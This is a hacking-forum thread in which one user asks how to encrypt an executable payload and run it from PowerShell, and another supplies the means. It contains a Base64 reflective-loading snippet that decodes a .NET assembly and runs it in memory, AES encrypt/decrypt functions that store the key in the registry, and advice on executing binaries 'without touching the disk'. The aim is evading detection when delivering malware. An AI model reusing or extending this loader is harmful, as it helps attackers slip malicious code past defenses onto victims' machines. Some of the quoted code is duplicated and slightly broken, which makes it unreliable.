

Forum:[Hack Forums](#)

Thread: [Executing a PowerShell file \(need help with Encoding\)](#)

hanterok - June 9, 2023, 9:54 am

Here goes decoding file from Base64, and then running it:

```
Code $load="here in Base64"
```

```
$klo=[Convert]::FromBase64String($load)
```

```
[Reflection.Assembly]::Load($klo)
```

```
[trenbi.fron]::Main()
```

How can implement with other encoding methods ?

And what methods are supported...

Interested in Encoding methods: AES, 3DES, XOR, Pr0t3, Gzip, HEX

Thanks in advance for your help

KrypteX - June 19, 2023, 6:52 am

You can give this a try:

```
Code function AESEncrypt ($in) {
    # Check if there is an existing key within the registry
    if (Get-ItemProperty HKCU:\SOFTWARE\Classes\lotl | select -ExpandProperty key -ErrorAction
SilentlyContinue){
        Write-Host "Key found, using existing key."
        $AESKey = Get-ItemProperty HKCU:\SOFTWARE\Classes\lotl | select -ExpandProperty key
    } else {
        # Create the AES Key if no existing key is found.
        Write-Host "Key not found, creating new key."
        $AESKey = New-Object Byte[] 32
        [Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($AESKey)
        # Store the key within Computer\HKEY_CURRENT_USER\SOFTWARE\Classes\lotl
        if (Test-Path -Path "HKCU:\SOFTWARE\Classes\lotl") {
            mkdir -Path "HKCU:\SOFTWARE\Classes\lotl"
        }
        New-ItemProperty -Name "key" -Path HKCU:\SOFTWARE\Classes\lotl -PropertyType Binary
-Value $AESKey
    }
    # Create the secure string
    $script:SecurePlainText = $in | ConvertTo-SecureString -AsPlainText -Force
    # Encrypt the secure string using our AES Key
    $script:SecurePlainText = $SecurePlainText | ConvertFrom-SecureString -Key $AESKey
    # Debug Data
    Write-Host $script:AESKey
    Write-Host $script:SecurePlainText

    # Decrypt and verify input
    # Read the AES Key from Registry and parse this into a byte array.
    $AESKey = New-Object byte[] 0
    $ReadKey = Get-ItemProperty HKCU:\SOFTWARE\Classes\lotl | select -ExpandProperty key
    # Parse the AES key into a Byte Array
    ForEach ($i in $ReadKey){$AESKey += [byte]$i}
```

```

$script:SecurePlainText = $SecurePlainText
$script:AESKey = $AESKey
# Convert our secure plain text into a secure string, decrypting it using our AES Key
$SecureString = ConvertTo-SecureString -String $SecurePlainText -Key $AESKey
# Parse our secure string into plain text
$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureString)
$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted)
$script:plaintext = $decrypted
return $script:plaintext
}
Write-Host "Function AESEncrypt Loaded"
function AESDecrypt ($key, $in) {
    # Key Format: "00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 21 22 23 24 25 26
27 28 29 30 31 32"
    [byte[]]$AESKey = $key.Split()
    # Write-Host "AES Key: $AESKey"
    # Decrypt and verify input
    # Convert our secure plain text into a secure string, decrypting it using our AES Key
    $SecureString = ConvertTo-SecureString -String $in -Key $AESKey
    # Parse our secure string into plain text
    $script:decrypted =
[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureString)
    $script:decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted)
    return $script:decrypted
}

```

hanterok - June 26, 2023, 7:47 am

(Jun 19, 2023 06:52 AM)KrypteX Wrote: [CITE](#) You can give this a try:

```

Code function AESEncrypt ($in) {
    # Check if there is an existing key within the registry
    if (Get-ItemProperty HKCU:\SOFTWARE\Classes\lotl | select -ExpandProperty key -ErrorAction
SilentlyContinue){
        Write-Host "Key found, using existing key."
        $AESKey = Get-ItemProperty HKCU:\SOFTWARE\Classes\lotl | select -ExpandProperty key
    } else {
        # Create the AES Key if no existing key is found.
        Write-Host "Key not found, creating new key."
        $AESKey = New-Object Byte[] 32
        [Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($AESKey)
        # Store the key within Computer\HKEY_CURRENT_USER\SOFTWARE\Classes\lotl
        if (Test-Path -Path "HKCU:\SOFTWARE\Classes\lotl") {
            mkdir -Path "HKCU:\SOFTWARE\Classes\lotl"
        }
        New-ItemProperty -Name "key" -Path HKCU:\SOFTWARE\Classes\lotl -PropertyType Binary
-Value $AESKey
    }
    # Create the secure string
    $script:SecurePlainText = $in | ConvertTo-SecureString -AsPlainText -Force
    # Encrypt the secure string using our AES Key
    $script:SecurePlainText = $SecurePlainText | ConvertFrom-SecureString -Key $AESKey
    # Debug Data
    Write-Host $script:AESKey
    Write-Host $script:SecurePlainText
}

```

```

# Decrypt and verify input
# Read the AES Key from Registry and parse this into a byte array.
$AESKey = New-Object byte[] 0
$ReadKey = Get-ItemProperty HKCU:\SOFTWARE\Classes\lotl | select -ExpandProperty key
# Parse the AES key into a Byte Array
ForEach ($i in $ReadKey){$AESKey += [byte]$i}
$script:SecurePlainText = $SecurePlainText
$script:AESKey = $AESKey
# Convert our secure plain text into a secure string, decrypting it using our AES Key
$SecureString = ConvertTo-SecureString -String $SecurePlainText -Key $AESKey
# Parse our secure string into plain text
$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureString)
$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted)
$script:plaintext = $decrypted
return $script:plaintext
}
Write-Host "Function AESEncrypt Loaded"
function AESDecrypt ($key, $in) {
    # Key Format: "00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 21 22 23 24 25 26
    27 28 29 30 31 32"
    [byte[]]$AESKey = $key.Split()
    # Write-Host "AES Key: $AESKey"
    # Decrypt and verify input
    # Convert our secure plain text into a secure string, decrypting it using our AES Key
    $SecureString = ConvertTo-SecureString -String $in -Key $AESKey
    # Parse our secure string into plain text
    $script:decrypted =
[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureString)
    $script:decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted)
    return $script:decrypted
}
Thank you very much for this. And where to enter the converted exe file in 00 01 02 03 04 05 06 07
08 09 10 11 12 13 14 15 16 17 18 19 21 22 23 24 25 26 27 28 29 30 31 32

```

KrypteX - June 26, 2023, 11:21 am

You already have the answer to that really, you first convert the binary into base64 so that you can have a string representation of a binary and then you can apply other encoding methods to it within a variable.

The variable can then be converted back into binary in-memory and executed without touching the disk if you do it right.

hanterok - June 26, 2023, 1:04 pm

(Jun 26, 2023 11:21 AM)KrypteX Wrote: [\[CITE\]](#) You already have the answer to that really, you first convert the binary into base64 so that you can have a string representation of a binary and then you can apply other encoding methods to it within a variable.

The variable can then be converted back into binary in-memory and executed without touching the disk if you do it right.

I don't understand you a little. Can you show an example of the complete code?